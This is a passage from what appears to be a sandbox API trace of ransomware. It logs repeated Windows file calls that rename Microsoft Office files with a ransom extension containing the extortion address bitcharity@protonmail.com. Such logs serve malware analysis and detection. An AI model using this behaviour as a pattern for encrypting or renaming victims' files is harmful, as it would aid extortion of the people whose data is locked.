Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR45F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir45f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.946] CloseHandle (hObject=0x1278) returned 1 [0264.947] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.947] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR46B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir46b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.948] CloseHandle (hObject=0x1278) returned 1 [0264.949] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.949] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR46F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir46f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.949] CloseHandle (hObject=0x1278) returned 1 [0264.950] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.950] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR47B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir47b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.950] CloseHandle (hObject=0x1278) returned 1 [0264.951] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.951] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR47F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir47f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.951] CloseHandle (hObject=0x1278) returned 1 [0264.952] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.952] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR48B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir48b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.953] CloseHandle (hObject=0x1278) returned 1 [0264.953] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.953] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR48F.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir48f.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.954] CloseHandle (hObject=0x1278) returned 1 [0265.092] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.092] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR49B.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir49b.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.092] CloseHandle (hObject=0x1268) returned 1 [0265.093] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.093] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.093] CloseHandle (hObject=0x1268) returned 1 [0265.094] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.094] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.094] CloseHandle (hObject=0x1268) returned 1 [0265.095] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.095] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.095] CloseHandle (hObject=0x1268) returned 1 [0265.096] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.096] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.096] CloseHandle (hObject=0x1268) returned 1 [0265.097] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.097] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesstylish.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesstylish.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.097] CloseHandle (hObject=0x1268) returned 1 [0265.098] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.098] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.098] CloseHandle (hObject=0x1268) returned 1 [0265.099] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.099] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\shaded.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\shaded.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.100] CloseHandle (hObject=0x1268) returned 1 [0265.100] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.100] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.101] CloseHandle (hObject=0x1268) returned 1 [0265.101] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.102] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\word2013bw.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\word2013bw.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.102] CloseHandle (hObject=0x1268) returned 1 [0265.103] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.103] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Init.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_init.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.103] CloseHandle (hObject=0x1268) returned 1 [0265.104] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.104] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ReviewRouting_Review.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\reviewrouting_review.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.104] CloseHandle (hObject=0x1268) returned 1 [0265.105] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.105] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.105] CloseHandle (hObject=0x1268) returned 1 [0265.106] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.106] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.106] CloseHandle (hObject=0x1268) returned 1 [0265.107] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.107] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.107] CloseHandle (hObject=0x1268) returned 1 [0265.108] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.109] CloseHandle (hObject=0x1268) returned 1 [0265.109] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.110] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.110] CloseHandle (hObject=0x1268) returned 1 [0265.111] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.111] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.111] CloseHandle (hObject=0x1268) returned 1 [0265.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNSET.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunset.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.112] CloseHandle (hObject=0x1268) returned 1 [0265.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryDashboard.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrydashboard.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.114] CloseHandle (hObject=0x1268) returned 1 [0265.114] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.114] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TelemetryLog.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\telemetrylog.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.115] CloseHandle (hObject=0x1268) returned 1 [0265.115] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.115] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TERRCOTT.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\terrcott.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.116] CloseHandle (hObject=0x1268) returned 1 [0265.116] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.116] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.117] CloseHandle (hObject=0x1268) returned 1 [0265.117] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.117] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDCMPVRD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdcmpvrd.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.117] CloseHandle (hObject=0x1268) returned 1 [0265.118] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.118] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Complete.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_complete.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.118] CloseHandle (hObject=0x1268) returned 1 [0265.119] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.119] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Xlate_Init.xsn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlate_init.xsn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 